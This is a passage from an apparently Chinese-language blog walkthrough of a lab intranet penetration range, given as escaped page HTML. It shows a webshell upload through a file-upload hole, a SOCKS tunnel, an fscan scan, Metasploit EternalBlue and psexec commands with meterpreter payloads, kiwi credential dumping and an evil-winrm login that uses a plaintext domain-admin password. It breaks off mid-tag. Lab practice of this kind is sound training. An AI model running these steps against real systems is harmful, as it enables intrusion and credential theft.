class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-33.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-33.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" title=\"\"\/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u662f\u4e00\u4e2a\u901a\u8fbeOA\uff0c\u627e\u5229\u7528\u5de5\u5177<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-34.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-34.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" title=\"\"\/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-35.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-35.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" title=\"\"\/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-36.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-36.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" title=\"\"\/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u6709\u4e00\u4e2a\u6587\u4ef6\u4e0a\u4f20\u6f0f\u6d1e\uff0c\u53ef\u4ee5\u5199\u4e00\u4e2a\u9a6c<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u666e\u901a\u7684\u9a6c\u597d\u50cf\u6ca1\u6cd5\u7528\uff0c\u627e\u4e00\u4e2a\u8681\u5251\u4e0d\u6b7b\u9a6c<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-37.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-37.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" title=\"\"\/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-38.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-38.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" title=\"\"\/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u67e5\u770b\u4e8c\u5c42\u7f51\u5361ip<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-39.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-39.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" title=\"\"\/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">192.168.93.20\u4e3a\u4ed6\u7684\u7b2c\u4e8c\u5c42\u5185\u7f51ip<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u642d\u5efa\u4e8c\u5c42\u4ee3\u7406<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u4e0a\u4f20windows_x64_agent.exe\u642d\u5efa\u7b2c\u4e8c\u5c42\u96a7\u9053<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5728\u4e3b\u673awindows\u4e0a<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">(node 0) &gt;&gt; listen \u540e\u8f93\u516512345\uff0c\u7aef\u53e3\u4e3a12345<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-40.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-40.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" title=\"\"\/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u5728\u76ee\u6807\u673a\u4e0a windows_x64_agent.exe -c 192.168.52.10:12345<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-41.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-41.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" title=\"\"\/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">(admin) &gt;&gt; detail<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">(admin) &gt;&gt; use 1<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">(node 1) &gt;&gt; socks 10800<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-42.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-42.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" title=\"\"\/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-43.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-43.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" title=\"\"\/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-44.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-44.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" title=\"\"\/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u5728kali\u4e0a\u914d\u7f6e\u597dproxychains<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-45.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-45.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" title=\"\"\/><\/div><\/figure>\n\n\n\n<h1 class=\"wp-block-heading\">PC2<\/h1>\n\n\n\n<p class=\"wp-block-paragraph\">\u7528fscan\u626b\u63cf\u4e00\u4e0b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>fscan -h 192.168.93.0\/24 -socks5 192.168.59.1:10800 -np<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-46.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-46.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" title=\"\"\/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u53d1\u73b0192.168.93.40\u6709445\u7aef\u53e3<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">MC_010<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">MS_010\u542f\u52a8<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>msfconsole\nuse exploit\/windows\/smb\/ms17_010_eternalblue\nset proxies socks5:192.168.59.1:10800\nset payload windows\/x64\/meterpreter\/bind_tcp\nset RhOSTS 192.168.93.40\nset lport 443\nrun<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-47.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-47.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" title=\"\"\/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u6253\u8fdb\u53bb\u4e86<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-48.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-48.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" title=\"\"\/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u662f\u4e2asystem\u6743\u9650<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-49.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-49.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" title=\"\"\/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u627e\u4e00\u4e2a\u5e26\u6709 NT AUTHORITY\\SYSTEM\u768464\u4f4d\u8fdb\u7a0b\u6ce8\u5165\u4e00\u4e0b<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u6293\u53d6\u7528\u6237\u51ed\u8bc1<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">migrate 488<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">load kiwi<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-50.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-50.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" title=\"\"\/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u63d0\u793a\u4e0d\u662fSYSTEM?getsystem<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-51.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-51.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" title=\"\"\/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u62ff\u5230\u57df\u7ba1\u51ed\u8bc1<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-52.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-52.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" title=\"\"\/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u57df\u540d\u662fwhoamianont.org<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-53.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-53.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" title=\"\"\/><\/div><\/figure>\n\n\n\n<h1 class=\"wp-block-heading\">\u57df\u63a7\u51ed\u8bc1\u767b\u5f55<\/h1>\n\n\n\n<p class=\"wp-block-paragraph\">\u8fdb\u884cpsexec\u6a2a\u5411\u79fb\u52a8<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u52a0\u5165\u5185\u7f51\u8def\u7531(\u4e0d\u77e5\u9053\u4e3a\u4ec0\u4e48\u7528PC1\u7684\u6d41\u91cf\u8f6c\u53d1\u521b\u5efa\u4e0d\u4e86\u4f1a\u8bdd)<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u5728PC2\u7684\u4f1a\u8bdd\u4e2d\nmsf &gt; route add 192.168.93.0 255.255.255.0 2<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>use exploit\/windows\/smb\/psexec\nset RHOSTS 192.168.93.30\nset proxies socks5:192.168.59.1:10800\nset SMBUser Administrator\nset SMBPass Whoami2021\nset SMBDomain whoamianony.org\nset payload windows\/x64\/meterpreter\/reverse_tcp\nset LPORT 443\nrun<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-54.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-54.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" title=\"\"\/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u597d\u50cf\u53c8\u5931\u8d25\u4e86&#8230;&#8230;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u76f4\u63a5\u7528evil-winrm\u767b\u5f55\u5427\uff0c\u611f\u89c9\u6bd4\u5176\u4ed6\u7684smb\u767b\u5f55\u5de5\u5177\u597d\u7528\u4e00\u4e9b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>proxychains evil-winrm -i 192.168.93.30 -u 'whoamianony.org\\Administrator' -p 'Whoami2021'<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-55.png'><img class=\"lazyload lazyload-style-1\" 